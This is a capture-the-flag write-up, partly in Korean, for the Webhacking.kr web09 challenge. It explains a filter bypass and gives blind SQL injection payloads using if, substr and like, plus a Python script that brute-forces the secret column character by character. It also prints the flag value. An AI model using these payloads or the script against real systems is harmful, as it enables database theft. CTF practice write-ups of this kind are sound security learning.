Post

Webhacking.kr - web09

web09

1
2
<a href=?no=1>1</a> <a href=?no=2>2</a> <a href=?no=3>3</a> <form method=get action=index.php>
Password : <input type=text size=10 maxlength=11 name=pw><input type=submit>

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
?no=1 -> apple, password 입력 창
?no=2 -> banana, password 입력 창
?no=3 -> 
Secret

column : id,no
no 3's id is password

컬럼에는 id, no가 있고 no=3 의 id가 비밀번호인듯 함

no에 필터링 되는 단어가 많음. (select, union, 공백, 사칙연산, char, ascii, ord 등등)
필터링 제외 명령어 : if, substr, like, in

우리가 구해야 하는건 no=3의 id 값임. 이 값은 blind sql injection으로 뽑아야 함.

풀기전에 일단 db 형태를 보면 다음과 같음.
id:no -> 1:Apple, 2:Banana, 3:{password}

if문으로 값을 확인할 때, 우리는 no=3의 id 길이와 값을 구할거기 때문에 만약 true일 때 
no=3의 id만 가져올 수 있도록, 즉 true인지 확인할 수 있도록 if(query,3,0)으로 해줘야 함.

따라서 no=3의 id 길이는 다음과 같음. no=if(length(id)like(11),3,0)
이제 값만 구하면 됨.

no=if(substr(id,1,1)like(0x30 ~ 7a),3,0) -> ALSRKSWHAQL

근데 안되서 소문자로 바꿔서 하니 성공.. alsrkswhaql
1
2
3
4
5
6
7
8
9
10
11
12
import requests
cookies={'PHPSESSID':'[redacted]'}

id=''
for i in range(1,12) :
    for j in range(48,123):
        url='https://webhacking.kr/challenge/web-09/?no=if(substr(id,'+str(i)+',1)like('+hex(j)+'),3,0)'
        res=requests.get(url, cookies=cookies)
        if "<b>Secret</b>" in res.text:
            id+=chr(j)
            print("id:",id) # ALSRKSWHAQL
            break                  
This post is licensed under CC BY 4.0 by the author.